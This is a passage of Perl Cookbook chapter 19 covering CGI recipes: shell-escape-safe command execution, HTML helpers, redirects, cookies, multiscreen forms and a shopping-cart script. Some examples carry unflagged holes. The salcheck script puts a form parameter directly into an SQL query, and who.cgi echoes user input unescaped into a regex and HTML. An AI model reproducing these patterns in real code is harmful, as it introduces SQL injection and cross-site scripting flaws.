/perl/ works analogously to /cgi-bin/. To make the suffix .perl indicate mod_perl CGI scripts just as the suffix .cgi indicates regular CGI scripts, use the following in your Apache configuration file:

<Files *.perl>
SetHandler  perl-script
PerlHandler Apache::Registry
Options ExecCGI
</Files>

Because the Perl interpreter that runs your CGI script doesn't shut down when your script is done (as normally happens when the web server runs your script as a separate program), you cannot rely on your global variables being undefined when the program starts. -w and use strict check for many bad habits in these kinds of scripts. There are other gotchas, too - see the mod_perl_traps manpage.

Don't worry about how big your web server processes appear to grow from pre-loading all these scripts. They need to find their way into memory eventually, and it's better to happen before Apache forks off kids. That way each script has to be in memory only once, because forked children have shared memory pages (under all modern operating systems). In other words, it only appears to take up more memory this way. It actually takes less!

An interface to Netscape's server is also available at http://www.perl.com/CPAN-local/modules/by-module/Netscape/nsapi_perl-0.24.tar.gz that effects a similar performance gain by avoiding forking.

See Also

The documentation for Bundle::Apache, Apache, Apache::Registry, from CPAN; http://perl.apache.org/, mod_perl FAQ at http://perl.apache.org/faqa/, the mod_perl (3) and cgi_to_mod_perl (1) manpages (if you have them)

Previous: 19.4. Writing a Safe CGI Program | Perl Cookbook | Next: 19.6. Executing Commands Without Shell Escapes
19.4. Writing a Safe CGI Program | Book Index | 19.6. Executing Commands Without Shell Escapes


Recipe 19.6. Executing Commands Without Shell Escapes

Perl CookbookSearch this book

19.6. Executing Commands Without Shell Escapes

Problem

You need to use a user's input as part of a command, but you don't want to allow the user to make the shell run other commands or look at other files. If you just blindly call the system function or backticks on a single string containing a command line, the shell might be used to run the command. This would be unsafe.

Solution

Unlike its single-argument version, the list form of the system function is safe from shell escapes. When the command's arguments involve user input from a form, never use this:

system("command $input @files");            # UNSAFE

Write it this way instead:

system("command", $input, @files);          # safer

Discussion

Because Perl was designed as a glue language, it's easy to use it to call other programs - too easy, in some cases.

If you're merely trying to run a shell command but don't need to capture its output, it's easy enough to call system using its multiple argument form. But what happens if you're using the command in backticks or as part of a piped open? Now you have a real problem, because those don't permit the multiple argument form that system does. The solution is to manually fork and exec the child processes on your own. It's more work, but at least stray shell escapes won't be ruining your day.

It's safe to use backticks in a CGI script only if the arguments you give the program are purely internally generated, as in:

chomp($now = `date`);

But if the command within the backticks contains user-supplied input, perhaps like this:

@output = `grep $input @files`;

you have to be much more careful.

die "cannot fork: $!" unless defined ($pid = open(SAFE_KID, "|-"));
if ($pid == 0) {
    exec('grep', $input, @files) or die "can't exec grep: $!";
} else {
    @output = <SAFE_KID>;
    close SAFE_KID;                 # $? contains status
}

This works because exec, like system, permits a calling convention that's proof against shell escapes. When passed a list, no shell is called, and so no escapes can occur.

Similar circumlocutions are needed when using open to start up a command. Here's a safe backtick or piped open for read. Instead of using this unsafe code:

open(KID_TO_READ, "$program @options @args |");    # UNSAFE

Use this more complicated but safer code:

# add error processing as above
die "cannot fork: $!" unless defined($pid = open(KID_TO_READ, "-|"));

if ($pid) {   # parent
   while (<KID_TO_READ>) {
       # do something interesting
   }
   close(KID_TO_READ)               or warn "kid exited $?";

} else {      # child
   # reconfigure, then
   exec($program, @options, @args)  or die "can't exec program: $!";
}

Here's a safe piped open for writing. Instead of using this unsafe code:

open(KID_TO_WRITE, "|$program $options @args");   # UNSAFE

Use this more complicated but safer code:

$pid = open(KID_TO_WRITE, "|-");
die "cannot fork: $!" unless defined($pid = open(KID_TO_WRITE, "|-"));
$SIG{ALRM} = sub { die "whoops, $program pipe broke" };

if ($pid) {  # parent
   for (@data) { print KID_TO_WRITE $_ }
   close(KID_TO_WRITE)              or warn "kid exited $?";

} else {     # child
   # reconfigure, then
   exec($program, @options, @args)  or die "can't exec program: $!";
}

At the point where the comment in the code says reconfigure, then you can put in any extra security measures you'd like. You're in the child process now, where changes won't propagate back to the parent. You can change environment variables, reset temporary user or group ID values, change directories or umasks, etc.

All this doesn't help you, of course, if your system call runs a setuid program that can be exploited with the data you give it. The mail program sendmail is a setuid program commonly run from CGI scripts. Know the risks before you call sendmail or any other setuid program.

See Also

The system, exec, and open functions in Chapter 3 of Programming Perl and in perlfunc (1); the section on "Cooperating with Strangers" in Chapter 6 of Programming Perl; perlsec (1); Recipe 16.1; Recipe 16.2; Recipe 16.3

Previous: 19.5. Making CGI Scripts Efficient | Perl Cookbook | Next: 19.7. Formatting Lists and Tables with HTML Shortcuts
19.5. Making CGI Scripts Efficient | Book Index | 19.7. Formatting Lists and Tables with HTML Shortcuts


Recipe 19.7. Formatting Lists and Tables with HTML Shortcuts

Perl CookbookSearch this book

19.7. Formatting Lists and Tables with HTML Shortcuts

Problem

You have several lists and tables to generate and would like helper functions to make these easier to output.

Solution

The CGI module provides HTML helper functions which, when passed array references, apply themselves to each element of the referenced array:

print ol( li([ qw(red blue green)]) );
<OL><LI>red</LI> <LI>blue</LI> <LI>green</LI></OL>
@names = qw(Larry Moe Curly);
print ul( li({ -TYPE => "disc" }, \@names) );
<UL><LI TYPE="disc">Larry</LI> <LI TYPE="disc">Moe</LI>
    <LI TYPE="disc">Curly</LI></UL>

Discussion

The distributive behavior of the HTML generating functions in CGI.pm can significantly simplify generation of lists and tables. Passed a simple string, they just produce HTML for that string. But passed an array reference, they work on all those strings.

print li("alpha");
    <LI>alpha</LI>
print li( [ "alpha", "omega"] );
    <LI>alpha</LI> <LI>omega</LI>

The shortcut functions for lists will be loaded when you use the :standard import tag, but you need to ask for :html3 explicitly to get helper functions for working with tables. There's also a conflict between the <TR> tag, which would normally make a tr() function, and Perl's built-in tr/// operator. Therefore, to make a table row, use the Tr() function.

This example generates an HTML table starting with a hash of arrays. The keys will be the row headers, and the array of values will be the columns.

use CGI qw(:standard :html3);

%hash = (
    "Wisconsin"  => [ "Superior", "Lake Geneva", "Madison" ],
    "Colorado"   => [ "Denver", "Fort Collins", "Boulder" ],
    "Texas"      => [ "Plano", "Austin", "Fort Stockton" ],
    "California" => [ "Sebastopol", "Santa Rosa", "Berkeley" ],
);

$\ = "\n";

print "<TABLE> <CAPTION>Cities I Have Known</CAPTION>";
print Tr(th [qw(State Cities)]);
for $k (sort keys %hash) {
    print Tr(th($k), td( [ sort @{$hash{$k}} ] ));
}
print "</TABLE>";

That generates text that looks like this:

<TABLE> <CAPTION>Cities I Have Known</CAPTION>
    <TR><TH>State</TH> <TH>Cities</TH></TR>
    <TR><TH>California</TH> <TD>Berkeley</TD> <TD>Santa Rosa</TD>
        <TD>Sebastopol</TD> </TR>
    <TR><TH>Colorado</TH> <TD>Boulder</TD> <TD>Denver</TD>
        <TD>Fort Collins</TD> </TR>
    <TR><TH>Texas</TH> <TD>Austin</TD> <TD>Fort Stockton</TD>
        <TD>Plano</TD></TR>
    <TR><TH>Wisconsin</TH> <TD>Lake Geneva</TD> <TD>Madison</TD>
        <TD>Superior</TD></TR>
</TABLE>

You can produce the same output using one print statement, although it is slightly trickier, because you have to use a map to create the implicit loop. This print statement produces output identical to that displayed above:

print table
        caption('Cities I have Known'),
        Tr(th [qw(State Cities)]),
        map { Tr(th($_), td( [ sort @{$hash{$_}} ] )) } sort keys %hash;

This is particularly useful for formatting the results of a database query, as in Example 19.3 (see Chapter 14, Database Access).

Example 19.3: salcheck

#!/usr/bin/perl
# salcheck - check for salaries
use DBI;
use CGI qw(:standard :html3);

$limit = param("LIMIT");

print header(), start_html("Salary Query"),
      h1("Search"),
      start_form(),
      p("Enter minimum salary", textfield("LIMIT")),
      submit(),
      end_form();

if (defined $limit) {
    $dbh = DBI->connect("dbi:mysql:somedb:server.host.dom:3306",
        "username", "password")
        or die "Connecting: $DBI::errstr";
    $sth = $dbh->prepare("SELECT name,salary FROM employees
        WHERE salary > $limit")
        or die "Preparing: ", $dbh->errstr;
    $sth->execute
        or die "Executing: ", $sth->errstr;

    print h1("Results"), "<TABLE BORDER=1>";

    while (@row = $sth->fetchrow_array()) {
           print Tr( td( \@row ) );
    }

    print "</TABLE>\n";
    $sth->finish;
    $dbh->disconnect;
}

print end_html();

See Also

The documentation for the standard CGI module; Recipe 14.10

Previous: 19.6. Executing Commands Without Shell Escapes | Perl Cookbook | Next: 19.8. Redirecting to a Different Location
19.6. Executing Commands Without Shell Escapes | Book Index | 19.8. Redirecting to a Different Location


Recipe 19.8. Redirecting to a Different Location

Perl CookbookSearch this book

19.8. Redirecting to a Different Location

Problem

You need to tell the client's browser to look elsewhere for a page.

Solution

Instead of a normal header, just issue a location redirect and exit. Don't forget the extra newline at the end of the header.

$url = "http://www.perl.com/CPAN/";
print "Location: $url\n\n";
exit;

Discussion

Sometimes your CGI program doesn't need to generate the document on its own. It only needs to tell the client at the other end to fetch a different document instead. In that case, the HTTP header needs to include this directive as a Location line followed by the URL you want to send them to. Make sure to use an absolute URL, not a relative one.

The direct and literal solution given above is usually sufficient. But if you already have the CGI module loaded, use the redirect function. You might use this code if you are building and setting a cookie, as shown in Example 19.4.

Example 19.4: oreobounce

#!/usr/bin/perl -w
# oreobounce - set a cookie and redirect the browser
use CGI qw(:cgi);

$oreo = cookie( -NAME    => 'filling',
                -VALUE   => "vanilla cr蒻e",
                -EXPIRES => '+3M',    # M for month, m for minute
                -DOMAIN  => '.perl.com');

$whither  = "http://somewhere.perl.com/nonesuch.html";

print redirect( -URL     => $whither,
                -COOKIE  => $oreo);

That would produce:

Status: 302 Moved Temporarily
Set-Cookie: filling=vanilla%20cr%E4me; domain=.perl.com;
    expires=Tue, 21-Jul-1998 11:58:55 GMT
Date: Tue, 21 Apr 1998 11:55:55 GMT
Location: http://somewhere.perl.com/nonesuch.html
Content-Type: text/html
B<<blank line here>>

Example 19.5 is a complete program that looks at the client browser name and redirects it to a page in Eric Raymond's Jargon File that talks about the user's browser. It's also a nice example of a different approach to building a switch statement in Perl.

Example 19.5: os_snipe

#!/usr/bin/perl
# os_snipe - redirect to a Jargon File entry about current OS
$dir = 'http://www.wins.uva.nl/%7Emes/jargon';
for ($ENV{HTTP_USER_AGENT}) {
    $page  =    /Mac/            && 'm/Macintrash.html'
             || /Win(dows )?NT/  && 'e/evilandrude.html'
             || /Win|MSIE|WebTV/ && 'm/MicroslothWindows.html'
             || /Linux/          && 'l/Linux.html'
             || /HP-UX/          && 'h/HP-SUX.html'
             || /SunOS/          && 's/ScumOS.html'
             ||                     'a/AppendixB.html';
}
print "Location: $dir/$page\n\n";

The os_snipe program shows a good use of dynamic redirection, because you don't always send every user to the same place. If you did, it would usually make more sense to arrange for a static redirect line in the server's configuration file, since that would be easier on the web server than running a CGI script for each redirection.

Telling the client's browser that you don't plan to produce any output is not the same as redirecting nowhere:

use CGI qw(:standard);
print header( -STATUS => '204 No response' );

That produces this:

Status: 204 No response
Content-Type: text/html
<blank line here>

Use this, for instance, when the user will submit a form request but you don't want their page to change or even update.

It may seem silly to provide a content type and then no content, but that's what the module does. If you were hand-coding this, it wouldn't be required.

#!/bin/sh

cat <<EOCAT
Status: 204 No response

EOCAT

See Also

The documentation for the standard CGI module

Previous: 19.7. Formatting Lists and Tables with HTML Shortcuts | Perl Cookbook | Next: 19.9. Debugging the Raw HTTP Exchange
19.7. Formatting Lists and Tables with HTML Shortcuts | Book Index | 19.9. Debugging the Raw HTTP Exchange


Recipe 19.9. Debugging the Raw HTTP Exchange

Perl CookbookSearch this book

19.9. Debugging the Raw HTTP Exchange

Problem

Your CGI script is misbehaving strangely with your browser, and you suspect something in the HTTP header is missing. You want to find out exactly what your browser is sending to the server in the HTTP header.

Solution

Create your own fake web server, and point your browser at it, as shown in Example 19.6.

Example 19.6: dummyhttpd

#!/usr/bin/perl -w
# dummyhttpd - start an HTTP daemon and print what the client sends

use strict;
use HTTP::Daemon;  # need LWP-5.32 or better

my $server = HTTP::Daemon->new(Timeout => 60, LocalPort => 8989);
print "Please contact me at: <URL:", $server->url, ">\n";

while (my $client = $server->accept) {
  CONNECTION:
    while (my $answer = $client->get_request) {
        print $answer->as_string;
        $client->autoflush;
      RESPONSE:
        while (<STDIN>) {
            last RESPONSE   if $_ eq ".\n";
            last CONNECTION if $_ eq "..\n";
            print $client $_;
        }
        print "\nEOF\n";
    }
    print "CLOSE: ", $client->reason, "\n";
    $client->close;
    undef $client;
}

Discussion

It's hard to keep track of which versions of all the different browsers still have which bugs. The fake server program can save you days of head scratching, because sometimes a misbehaving browser doesn't send the server the right thing. Historically, we have seen aberrant browsers lose their cookies, mis-escape a URL, send the wrong status line, and do other even less obvious things.

To use the fake server, it's best to run it on the same machine as the real server. That way your browser will still send it any cookies destined for that domain. Then instead of pointing your browser at:

http://somewhere.com/cgi-bin/whatever

use the alternate port given in the new constructor above. You don't need to be the superuser to run the server if you use the alternate port.

http://somewhere.com:8989/cgi-bin/whatever

If you convince yourself that the client is behaving properly but wonder about the server, it's easiest to use the telnet program to manually talk to the remote server.

% telnet www.perl.com 80
GET /bogotic HTTP/1.0
<blank line here>
HTTP/1.1 404 File Not Found
Date: Tue, 21 Apr 1998 11:25:43 GMT
Server: Apache/1.2.4
Connection: close
Content-Type: text/html

<HTML><HEAD>
<TITLE>404 File Not Found</TITLE>
</HEAD><BODY>
<H1>File Not Found</H1>
The requested URL /bogotic was not found on this server.<P>
</BODY></HTML>

If you have LWP installed on your system, you can use the GET alias for the lwp-request program. This will follow any redirection chains, which can shed light on your problem. For example:

% GET -esuSU http://mox.perl.com/perl/bogotic
GET http://language.perl.com/bogotic
Host: mox.perl.com
User-Agent: lwp-request/1.32

GET http://mox.perl.com/perl/bogotic --> 302 Moved Temporarily
GET http://www.perl.com/perl/bogotic --> 302 Moved Temporarily
GET http://language.perl.com/bogotic --> 404 File Not Found
Connection: close
Date: Tue, 21 Apr 1998 11:29:03 GMT
Server: Apache/1.2.4
Content-Type: text/html
Client-Date: Tue, 21 Apr 1998 12:29:01 GMT
Client-Peer: 208.201.239.47:80
Title: Broken perl.com Links

<HTML>
<HEAD><TITLE>An Error Occurred</TITLE></HEAD>
<BODY>
<H1>An Error Occurred</h1>
404 File Not Found
</BODY>
</HTML>

See Also

The documentation for the standard CGI module; Recipe 19.10

Previous: 19.8. Redirecting to a Different Location | Perl Cookbook | Next: 19.10. Managing Cookies
19.8. Redirecting to a Different Location | Book Index | 19.10. Managing Cookies


Recipe 19.10. Managing Cookies

Perl CookbookSearch this book

19.10. Managing Cookies

Problem

You want to get or set a cookie to help manage sessions or user preferences.

Solution

Using CGI.pm, retrieve an existing cookie like this:

$preference_value = cookie("preference name");

To prepare a cookie, do this:

$packed_cookie = cookie( -NAME    => "preference name",
                         -VALUE   => "whatever you'd like",
                         -EXPIRES => "+2y");

To save a cookie back to the client browser, you must include it in the HTTP header, probably using either the header or redirect functions:

print header(-COOKIE => $packed_cookie);

Discussion

Cookies store information on the client's browser. If you're using Netscape under Unix, you can inspect your own ~/.netscape/cookies file, although this doesn't show your current set of cookies. It only holds those cookies present when you last exited the browser. Think of them as per-application user preferences or a way to help with transactions. Benefits of cookies are that they can be shared between several different programs on your server, and they persist even across browser invocations.

However, cookies can be used for dubious tricks like traffic analysis and click tracing. This makes some folks very nervous about who is collecting their personal data and what use will be made of their page viewing habits. Cookies don't travel well, either. If you use a browser at home or in someone else's office, it won't have the cookies from the browser in your office. For this reason, do not expect every browser to accept the cookies you give it. As if that wasn't bad enough, browsers can randomly toss cookies. Here's an excerpt from the HTTP State Management Mechanism draft at http://portal.research.bell-labs.com/~dmk/cookie-2.81-3.1.txt:

Because user agents have finite space in which to store cookies, they may also discard older cookies to make space for newer ones, using, for example, a least-recently-used algorithm, along with constraints on the maximum number of cookies that each origin server may set.

Due to their unreliability, you should probably not place too much faith in cookies. Use them for simple, stateful transactions, and avoid traffic analysis for reasons of privacy.

Example 19.7 is a complete program that remembers the user's last choice.

Example 19.7: ic_cookies

#!/usr/bin/perl -w
# ic_cookies - sample CGI script that uses a cookie
use CGI qw(:standard);

use strict;

my $cookname = "favorite ice cream";
my $favorite = param("flavor");
my $tasty    = cookie($cookname) || 'mint';

unless ($favorite) {
    print header(), start_html("Ice Cookies"), h1("Hello Ice Cream"),
          hr(), start_form(),
            p("Please select a flavor: ", textfield("flavor",$tasty)),
              end_form(), hr();
    exit;
}

my $cookie = cookie(
                -NAME    => $cookname,
                -VALUE   => $favorite,
                -EXPIRES => "+2y",
            );

print header(-COOKIE => $cookie),
      start_html("Ice Cookies, #2"),
      h1("Hello Ice Cream"),
      p("You chose as your favorite flavor `$favorite'.");

See Also

The documentation for the standard CGI module

Previous: 19.9. Debugging the Raw HTTP Exchange | Perl Cookbook | Next: 19.11. Creating Sticky Widgets
19.9. Debugging the Raw HTTP Exchange | Book Index | 19.11. Creating Sticky Widgets


Recipe 19.11. Creating Sticky Widgets

Perl CookbookSearch this book

19.11. Creating Sticky Widgets

Problem

You want the default values for the fields in your form to be the last values submitted. For instance, you want to create a search form like AltaVista (http://altavista.digital.com/ ) where the keywords you're searching with appear in the search dialog above the results.

Solution

Use CGI.pm's HTML shortcuts to create your form, which will automatically provide previous values as defaults:

print textfield("SEARCH");          # previous SEARCH value is the default

Discussion

Example 19.8 is a simple script for querying the list of users currently logged in.

Example 19.8: who.cgi

#!/usr/bin/perl -wT
# who.cgi - run who(1) on a user and format the results nicely

$ENV{IFS}='';
$ENV{PATH}='/bin:/usr/bin';

use CGI qw(:standard);

# print search form
print header(), start_html("Query Users"), h1("Search");
print start_form(), p("Which user?", textfield("WHO")); submit(), end_form();

# print results of the query if we have someone to look for
$name = param("WHO");
if ($name) {
    print h1("Results");
    $html = '';

    # call who and build up text of response
    foreach (`who`) {
        next unless /^$name\s/o;            # only lines matching $name
        s/&/&amp;/g;                        # escape HTML
        s/</&lt;/g;
        s/>/&gt;/g;
        $html .= $_;
    }
    # nice message if we didn't find anyone by that name
    $html = $html || "$name is not logged in";

    print pre($html);
}

print end_html();

The call to textfield generates HTML for a text entry field whose parameter name is WHO. After printing the form, we check whether we were called with a value for the WHO parameter. If so, we try to find the lines in the output from who for that user.

See Also

The documentation for the standard CGI module; Recipe 19.4; Recipe 19.7

Previous: 19.10. Managing Cookies | Perl Cookbook | Next: 19.12. Writing a Multiscreen CGI Script
19.10. Managing Cookies | Book Index | 19.12. Writing a Multiscreen CGI Script


Recipe 19.12. Writing a Multiscreen CGI Script

Perl CookbookSearch this book

19.12. Writing a Multiscreen CGI Script

Problem

You want to write a single CGI script that can return several different pages to the browser. For instance, you want a single CGI script for administering a database of products. The script will be called to display the form to add a product, to process the add-product form, to display a list of products to delete, to process the delete-product form, to display a list of product to edit, to display a form of the product's attributes for the user to change, and to process the edit-product form. You can use these multiscreen CGI scripts to form an elementary shopping-cart-type application.

Solution

Use a hidden field to encode the current screen.

Discussion

It is easy to generate sticky hidden fields with the CGI module. The hidden function returns HTML for a hidden widget and will use the widget's current value if you only give hidden the widget name:

use CGI qw(:standard);
print hidden("bacon");

To determine which page ("display product list", "display all items in shopping cart", "confirm order") to display, use another hidden field. We'll call this one .State so it won't conflict with any field we might have called State (for instance, in credit card billing information). To let the user move from page to page, use submit buttons that set .State to the name of the page to go to. For instance, to make a button to take the user to the "Checkout" page, use:

    print submit(-NAME => ".State", -VALUE => "Checkout");

We wrap this in a function to make it easier to type:

sub to_page { return submit( -NAME => ".State", -VALUE => shift ) }

To decide what code to display, check the .State parameter:

$page = param(".State") || "Default";

Put the code to generate each page in separate subroutines. You could decide which subroutine to call with a long if ... elsif ... elsif:

if ($page eq "Default") {
    front_page();
} elsif ($page eq "Checkout") {
    checkout();
} else {
    no_such_page();         # when we get a .State that doesn't exist
}

This is tedious and clumsy. Instead use a hash that maps a page name to a subroutine. This is another strategy for implementing a C-style switch statement in Perl.

%States = (
    'Default'     => \&front_page,
    'Shirt'       => \&shirt,
    'Sweater'     => \&sweater,
    'Checkout'    => \&checkout,
    'Card'        => \&credit_card,
    'Order'       => \&order,
    'Cancel'      => \&front_page,
);

if ($States{$page}) {
    $States{$page}->();   # call the correct subroutine
} else {
    no_such_page();
}

Each page will have some persistent widgets. For instance, the page that lets the user order t-shirts will want the number of t-shirts to persist even when the user continues and orders shoes as well. We do this by calling the page-generating subroutines with a parameter that lets them know whether they're the active page. If they're not the active page, they should only send back hidden fields for any persistent data:

while (($state, $sub) = each %States) {
    $sub->( $page eq $state );
}

The eq comparison returns true if the page is the current page, and false if it isn't. The page-generating subroutine then looks like this:

sub t_shirt {
    my $active = shift;

    unless ($active) {
        print hidden("size"), hidden("color");
        return;
    }

    print p("You want to buy a t-shirt?");
    print p("Size: ", popup_menu('size', [ qw(XL L M S XS) ]));
    print p("Color:", popup_menu('color', [ qw(Black White) ]));

    print p( to_page("Shoes"), to_page("Checkout") );
}

Because the subroutines all generate HTML, we have to print the HTTP header and start the HTML document and form before we call the subroutines. This lets us print a standard header and footer for all the pages, if we want. Here, we assume we have subroutines standard_header and standard_footer for printing the headers and footers:

print header("Program Title"), start_html();
print standard_header(), begin_form();
while (($state, $sub) = each %States) {
    $sub->( $page eq $state );
}
print standard_footer(), end_form(), end_html();

Don't make the mistake of encoding prices in the forms. Calculate prices based on the values of the hidden widgets, and sanity-check the information where you can. For example, compare against known products, to make sure they're not trying to order a burgundy XXXXXXL t-shirt.

Using hidden data is more robust than using cookies, because you can't rely on the browser supporting or accepting cookies. A full explanation is in Recipe 19.10.

We show a simple shopping cart application as the program chemiserie at the end of this chapter.

See Also

The documentation for the standard CGI module.

Previous: 19.11. Creating Sticky Widgets | Perl Cookbook | Next: 19.13. Saving a Form to a File or Mail Pipe
19.11. Creating Sticky Widgets | Book Index | 19.13. Saving a Form to a File or Mail Pipe


Recipe 19.13. Saving a Form to a File or Mail Pipe

Perl CookbookSearch this book

19.13. Saving a Form to a File or Mail Pipe

Problem

Your CGI script needs to save or mail the entire form contents to a file.

Solution

To store a form, use the CGI module's save_parameters function or save method, which take a filehandle argument. You can save to a file:

# first open and exclusively lock the file
open(FH, ">>/tmp/formlog")              or die "can't append to formlog: $!";
flock(FH, 2)                            or die "can't flock formlog: $!";

# either using the procedural interface
use CGI qw(:standard);
save_parameters(*FH);                   # with CGI::save

# or using the object interface
use CGI;
$query = CGI->new();
$query->save(*FH);

close(FH)                               or die "can't close formlog: $!";

Or, save to a pipe, such as one connected to a mailer process:

use CGI qw(:standard);
open(MAIL, "|/usr/lib/sendmail -oi -t") or die "can't fork sendmail: $!";
print MAIL <<EOF;
From: $0 (your cgi script)
To: hisname\@hishost.com
Subject: mailed form submission

EOF
save_parameters(*MAIL);
close(MAIL)                             or die "can't close sendmail: $!";

Discussion

Sometimes all you want to do with form data is to save it for later use. The save_parameters function and save method in CGI.pm write form parameters to an open filehandle. That filehandle can be attached to an open file (preferably one opened in append mode and locked, as in the solution), or to a pipe whose other end is a mail program.

File entries are stored one per line as variable=value pairs, with any funny characters URL-escaped. Each record is separated by a line with a single equals sign. These are typically read back by calling the CGI->new method with a filehandle argument that manages all the unescaping automatically, as described below.

If you want to add extra information to your query before you save it, the param function (or method, if you're using the object-oriented interface) can be called with more than one argument, setting the value(s) of a form parameter. For example, here's how you would save a time stamp and the entire environment:

param("_timestamp", scalar localtime);
param("_environs", %ENV);

Once you've got the forms in a file, process them by using the object interface.

To load a query object from a filehandle, call the new method with a filehandle argument. Each time you do this, it returns a complete form. When end of file is hit, the returned form has no parameters. The following code demonstrates this approach. It keeps a running total of all the "items request" parameters, but only if the form was not submitted from a perl.com site. Remember, we added the _environs and _timestamp parameters when we wrote the file.

use CGI;
open(FORMS, "< /tmp/formlog")       or die "can't read formlog: $!";
flock(FORMS, 1)                     or die "can't lock formlog: $!";
while ($query = CGI->new(*FORMS)) {
    last unless $query->param();     # means end of file
    %his_env = $query->param('_environs');
    $count  += $query->param('items requested')
                unless $his_env{REMOTE_HOST} =~ /(^|\.)perl\.com$/
}
print "Total orders: $count\n";

File ownership and access permissions are an issue here, as they are in any files created by CGI script.

See Also

Recipe 18.3; Recipe 19.3

Previous: 19.12. Writing a Multiscreen CGI Script | Perl Cookbook | Next: 19.14. Program: chemiserie
19.12. Writing a Multiscreen CGI Script | Book Index | 19.14. Program: chemiserie


Recipe 19.14. Program: chemiserie

Perl CookbookSearch this book

19.14. Program: chemiserie

The CGI script in Example 19.9 lets people order t-shirts and sweaters over the Web, using techniques described in Recipe 19.12. Its output isn't elegant or beautiful, but illustrating the multiscreen technique in a short program was challenging enough without trying to make it pretty as well.

The shirt and sweater subroutines check their widget values. If the user somehow submits an invalid color or size, the value is reset to the first in the list of allowable colors or sizes.

Example 19.9: chemiserie

#!/usr/bin/perl -w
# chemiserie - simple CGI shopping for shirts and sweaters

use strict;
use CGI qw(:standard);
use CGI::Carp qw(fatalsToBrowser);

my %States;             # state table mapping pages to functions
my $Current_Screen;     # the current screen

# Hash of pages and functions.

%States = (
    'Default'     => \&front_page,
    'Shirt'       => \&shirt,
    'Sweater'     => \&sweater,
    'Checkout'    => \&checkout,
    'Card'        => \&credit_card,
    'Order'       => \&order,
    'Cancel'      => \&front_page,
);

$Current_Screen = param(".State") || "Default";
die "No screen for $Current_Screen" unless $States{$Current_Screen};

# Generate the current page.

standard_header();

while (my($screen_name, $function) = each %States) {
    $function->($screen_name eq $Current_Screen);
}
standard_footer();
exit;

################################
# header, footer, menu functions
################################

sub standard_header {
    print header(), start_html(-Title => "Shirts", -BGCOLOR=>"White");
    print start_form(); # start_multipart_form() if file upload
}

sub standard_footer { print end_form(), end_html() }

sub shop_menu {
    print p(defaults("Empty My Shopping Cart"),
        to_page("Shirt"),
        to_page("Sweater"),
        to_page("Checkout"));
}

#############################
# subroutines for each screen
#############################

# The default page.
sub front_page {
    my $active = shift;
    return unless $active;

    print "<H1>Hi!</H1>\n";
    print "Welcome to our Shirt Shop!  Please make your selection from ";
    print "the menu below.\n";

    shop_menu();
}

# Page to order a shirt from.
sub shirt {
    my $active = shift;
    my @sizes  = qw(XL L M S);
    my @colors = qw(Black White);

    my ($size, $color, $count) =
      (param("shirt_size"), param("shirt_color"), param("shirt_count"));

    # sanity check
    if ($count) {
        $color = $colors[0] unless grep { $_ eq $color } @colors;
        $size  = $sizes[0]  unless grep { $_ eq $size  } @sizes;
        param("shirt_color", $color);
        param("shirt_size",  $size);
    }

    unless ($active) {
        print hidden("shirt_size")  if $size;
        print hidden("shirt_color") if $color;
        print hidden("shirt_count") if $count;
        return;
    }

    print h1("T-Shirt");
    print p("What a shirt!  This baby is decked out with all the options.",
        "It comes with full luxury interior, cotton trim, and a collar",
        "to make your eyes water!  Unit price: \$33.00");

    print h2("Options");
    print p("How Many?", textfield("shirt_count"));
    print p("Size?",  popup_menu("shirt_size",  \@sizes ),
        "Color?", popup_menu("shirt_color", \@colors));

    shop_menu();
}

# Page to order a sweater from.
sub sweater {
    my $active = shift;
    my @sizes  = qw(XL L M);
    my @colors = qw(Chartreuse Puce Lavender);

    my ($size, $color, $count) =
      (param("sweater_size"), param("sweater_color"), param("sweater_count"));

    # sanity check
    if ($count) {
        $color = $colors[0] unless grep { $_ eq $color } @colors;
        $size  = $sizes[0]  unless grep { $_ eq $size  } @sizes;
        param("sweater_color", $color);
        param("sweater_size",  $size);
    }

    unless ($active) {
        print hidden("sweater_size")  if $size;
        print hidden("sweater_color") if $color;
        print hidden("sweater_count") if $count;
        return;
    }

    print h1("Sweater");
    print p("Nothing implies preppy elegance more than this fine",
        "sweater.  Made by peasant workers from black market silk,",
        "it slides onto your lean form and cries out ``Take me,",
        "for I am a god!''.  Unit price: \$49.99.");

    print h2("Options");
    print p("How Many?", textfield("sweater_count"));
    print p("Size?",  popup_menu("sweater_size",  \@sizes));
    print p("Color?", popup_menu("sweater_color", \@colors));

    shop_menu();
}

# Page to display current order for confirmation.
sub checkout {
    my $active = shift;

    return unless $active;

    print h1("Order Confirmation");
    print p("You ordered the following:");
    print order_text();
    print p("Is this right?  Select 'Card' to pay for the items",
        "or 'Shirt' or 'Sweater' to continue shopping.");
    print p(to_page("Card"),
        to_page("Shirt"),
        to_page("Sweater"));
}

# Page to gather credit-card information.
sub credit_card {
    my $active = shift;
    my @widgets = qw(Name Address1 Address2 City Zip State Phone Card Expiry);

    unless ($active) {
        print map { hidden($_) } @widgets;
        return;
    }

    print pre(p("Name:          ", textfield("Name")),
      p("Address:       ", textfield("Address1")),
      p("               ", textfield("Address2")),
      p("City:          ", textfield("City")),
      p("Zip:           ", textfield("Zip")),
      p("State:         ", textfield("State")),
      p("Phone:         ", textfield("Phone")),
      p("Credit Card #: ", textfield("Card")),
      p("Expiry:        ", textfield("Expiry")));

    print p("Click on 'Order' to order the items.  Click on 'Cancel' to return shopping.");

    print p(to_page("Order"), to_page("Cancel"));
}

# Page to complete an order.
sub order {
    my $active = shift;

    unless ($active) {
        return;
    }

    # you'd check credit card values here

    print h1("Ordered!");
    print p("You have ordered the following toppings:");
    print order_text();

    print p(defaults("Begin Again"));
}

# Returns HTML for the current order ("You have ordered ...")
sub order_text {
    my $html = '';

    if (param("shirt_count")) {
        $html .= p("You have ordered ", param("shirt_count"),
           " shirts of size ",  param("shirt_size"),
           " and color ", param("shirt_color"), ".");
    }
    if (param("sweater_count")) {
        $html .= p("You have ordered ",  param("sweater_count"),
           " sweaters of size ", param("sweater_size"),
           " and color ", param("sweater_color"), ".");
    }
    $html = p("Nothing!") unless $html;
    $html .= p("For a total cost of ", calculate_price());
    return $html;
}

sub calculate_price {
    my $shirts   = param("shirt_count")   || 0;
    my $sweaters = param("sweater_count") || 0;
    return sprintf("\$%.2f", $shirts*33 + $sweaters * 49.99);
}

sub to_page { submit(-NAME => ".State", -VALUE => shift) }

Previous: 19.13. Saving a Form to a File or Mail Pipe | Perl Cookbook | Next: 20. Web Automation
19.13. Saving a Form to a File or Mail Pipe | Book Index | 20. Web Automation


[Chapter 20] Web Automation

Perl CookbookSearch this book
Previous: 19.14. Program: chemiserie Chapter 20 Next: 20.1. Fetching a URL from a Perl Script

20. Web Automation

Contents:
Introduction
